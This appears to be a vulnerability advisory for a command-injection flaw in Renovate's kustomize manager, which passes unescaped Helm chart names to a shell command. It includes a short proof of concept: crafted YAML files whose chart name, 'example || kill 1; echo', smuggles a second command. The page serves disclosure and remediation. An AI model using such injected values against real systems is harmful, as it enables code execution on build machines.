Read the docs
TI-2026-66171 Aliases GHSA-xv56-3wq5-9997

Renovate vulnerable to arbitrary command injection via kustomize manager and malicious helm repository

Priority LOW 38CWE-77Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Code execution
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-77.

Summary

### Summary The user-provided chart name in the `kustomize` manager is appended to the `helm pull --untar` command without proper sanitization. ### Details Adversaries can provide a maliciously crafted `kustomization.yaml` in conjunction with a Helm repo's `index.yaml` file to trick Renovate to execute arbitrary code. The value for the `depName` argument for the `helmRepositoryArgs` function in [lib/modules/manager/kustomize/artifacts.ts](https://github.com/renovatebot/renovate/blob/cc08c6e98f19e6258c5d3180c70c98e1be0b0d37/lib/modules/manager/kustomize/artifacts.ts#L33) is not being escaped using the `quote` function from the `shlex` package. This lack of proper sanitization has been present in the product since version 39.218.9 (https://github.com/renovatebot/renovate/commit/cc08c6e98f19e6258c5d3180c70c98e1be0b0d37), released on March 26 of 2025. ### PoC 1. Create a mock Helm repository. Have its `index.yaml` endpoint return: ```yaml apiVersion: v1 entries: "example || kill 1; echo": - version: 1.0.1 created: 2016-10-06T16:23:20.499814565-06:00 - version: 1.0.0 created: 2016-10-06T16:23:20.499543808-06:00 ``` 2. Create a git repo with the following content: `renovate.json5`: ```json5 { $schema: "https://docs.renovatebot.com/renovate-schema.json", postUpdateOptions: [ "kustomizeInflateHelmCharts", ] } ``` `kustomization.yaml`: ```yaml kind: Kustomization apiVersion: kustomize.config.k8s.io/v1beta1 helmCharts: - name: "example || kill 1; echo" repo: TODO reference the mocked Helm repository over https version: 1.0.0 ``` with the todo resolved `charts/.gitkeep`: (empty) 3. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container. ### Impact This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

Why it matters now

Fix Fixed renovate (npm): 40.33.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—renovate (npm)39.218.0 to before 40.33.040.33.0Patch availableGHSA-xv56-3wq5-9997
  • renovate (npm) Vendor— Affected 39.218.0 to before 40.33.0 Fixed in 40.33.0 Patch available GHSA-xv56-3wq5-9997

Remediation

  • Fix · GHSA-xv56-3wq5-9997 renovate (npm) Fixed in 40.33.0 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-xv56-3wq5-9997

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences